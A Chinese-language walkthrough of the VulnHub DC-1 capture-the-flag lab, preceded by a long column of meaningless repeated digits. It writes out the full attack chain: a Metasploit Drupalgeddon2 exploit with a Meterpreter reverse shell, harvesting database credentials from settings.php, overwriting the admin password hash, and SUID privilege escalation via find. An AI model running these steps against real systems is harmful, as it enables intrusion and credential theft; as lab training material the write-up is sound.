0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
写写自己打DC-1的过程
使用工具 kali
DC-1的靶机下载地址为:https://www.vulnhub.com/entry/dc-1,292/
第一步:环境配置。
我这里的话kali和DC-1都是nat模式
kali IP为:192.168.28.139
DC-1 IP设置为nat模式,具体多少暂时也不知道。
第二步:信息收集
1. DC-1 IP不知道,那我们首先就先主机存活探测下,看看靶机IP是多少。
为了提高效率,我们直接用nmap,或者arp-scan。
nmap:nmap -sP 192.168.28.0/24
arp-scan: arp-scan -l
获得 DC-1 IP:192.168.28.178
2.查找到IP后可以查看靶机开启了什么端口(可以使用nmap)
nmap -A 192.168.28.178
-A : 激进型 启用许多扫描选项,版本扫描,脚本扫描等(慎用)
可以看到DC-1开启了ssh和http和不知道干什么的111端口,我们可以尝试去访问下DC-1的IP:192.168.28.178
可以看到有个登录框,我们可以手动sql注入试试(我尝试了下没有试出来)。
看到网站,我们可以试试挖下目录文件,这里的话提一下我用的工具(御剑,gobuster,dirb)具体使用可以找一下手册。再我们兜兜转转半天也一筹莫展时。
那我们下一步就去看看是否是常见的一些cms。
3.指纹识别(whatweb)
whatweb -v 192.168.28.178
通过查看返回信息 很容易找到CMS版本以及名字
可以看到CMS为Drupal 7。
2.漏洞利用
Drupal的话msf有一些现成的模块我们可以尝试试试。
1.进入msf
msfconsole
2.查找相应模块
search Drupa
3.使用相应模块,咱也都试了下,发现 exploit/unix/webapp/drupal_drupalgeddon2 这个里面可以。
use exploit/unix/webapp/drupal_drupalgeddon2
4.选择查看payload有什么
show payloads
看到了熟悉的php/meterpreter/reverse_tcp
5。使用payload
set payload php/meterpreter/reverse_tcp
6.查看需要配置的参数
show options
yes的地方是必填的,默认基本上帮我们填好了。我们只需要填靶机IP即可也就是填RHOSTS
7.配置
set rhosts 192.168.28.178
8.启动
exploit
可以看到session的建立
9.查看DC-1基本信息
sysinfo
10.获得shell
shell
为了方便看我们使用python进行反弹
python -c "import pty;pty.spawn('/bin/bash')"
3.flag1
ls直接查看当前文件,我们就可以看到flag1.txt
再使用cat查看
ls
cat flag1.txt
给了个提示:Every good CMS needs a config file - and so do you.
每个好的CMS都需要一个配置文件——你也是。
4.flag2
每个好的CMS都需要一个配置文件——你也是。
那我们找下他的配置文件
find . -name "set*"
还真的有!看看内容
cat ./sites/default/settings.php
发现flag2
文件里面有数据库的账号密码
也给了提示
*暴力和字典攻击不是最常见的
*只有获得访问权限的方法(您将需要访问权限)。
*你能用这些证书做什么?
暴力破解的话想到前面80的登录框 意思应该是没办法暴力破解登录
后面的意思应该是后续需要我们提权操作。
5.flag3
前面给了我们数据库账号密码以及数据库名字
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
我们尝试登录一下
mysql -udbuser -pR0ck3t
查看库
show databases;
进入drupaldb库中
use drupaldb
查看库中的表
show tables;
仔细观察我们可以看到有一个users的表
查看表中内容
select * from users\G;
/G 的作用是将查到的结构旋转90度变成纵向:
可以看到admin的密码给加密了$S$D应该是某种hash,也不好直接解密。可能文件中有加密的文件,我们去找找。
find . -name "*hash*"
找到文件后(./scripts/password-hash.sh)大概查看下,简单运行下看看有什么东西
./scripts/password-hash.sh
意思应该是直接再后面加密码就会返回加密后的结果
我们简单测试下,设置密码123456
./scripts/password-hash.sh 123456
果然返回了hash后的值。
原来admin的密码hash后为:$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR
显然靠我们一个一个试不切实际。可以换一个思路既然找不到密码是多少,那么我们就把原来密码替换了
刚刚123456 hash后为:$S$DFTjE6MQfJJx3er.iWGVcIIZD8XvaFmGM.F7ZiDbPlxpC./1X/HC
重新回到数据库drupaldb内。
更新密码
update users set pass='$S$DFTjE6MQfJJx3er.iWGVcIIZD8XvaFmGM.F7ZiDbPlxpC./1X/HC'where name="admin";
更新完成后,我们访问网站192.168.28.178
找一下看看界面中有没有提示
得到flag3;
并且获得提示:Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
6.flag4
根据提示passwd我们可以想到/etc/passwd
cat /etc/passwd
发现里面有flag4,给了个路径/home/flag4
切换到flag4里面看看有什么文件
cd /home/flag4
ls
查看内容
cat flag4.txt
发现权限不够。需要提权
首先试试SUID提权
查看默认以root权限执行的程序
find / -perm -u=s -type f 2>/dev/null
find 指令
/ 根目录(查找位置)
-perm 权限
-u 用户(s=特权)
-type 类型
f 文件
2>/dev/nul 过滤错误信息(不显示错误信息)
看到find就在其中,那就比较简单了。直接使用find提权
find / -exec "/bin/bash" -p \;
再次查看
cat flag4.txt
找到flag4
并且给出提示:
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?
7.flag5
根据提示我们进入/root,ls查看目录下的文件
cd /root
ls
可以看到有一个thefinalflag.txt 最后的flag
直接cat查看即可
cat thefinalflag.txt
获得最终的flag
8.总结
1.nmap,arp-scan使用
2.whatweb 指纹识别
3.msf使用对应的模块
4.mysql的修改数据
5.SUID提权
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)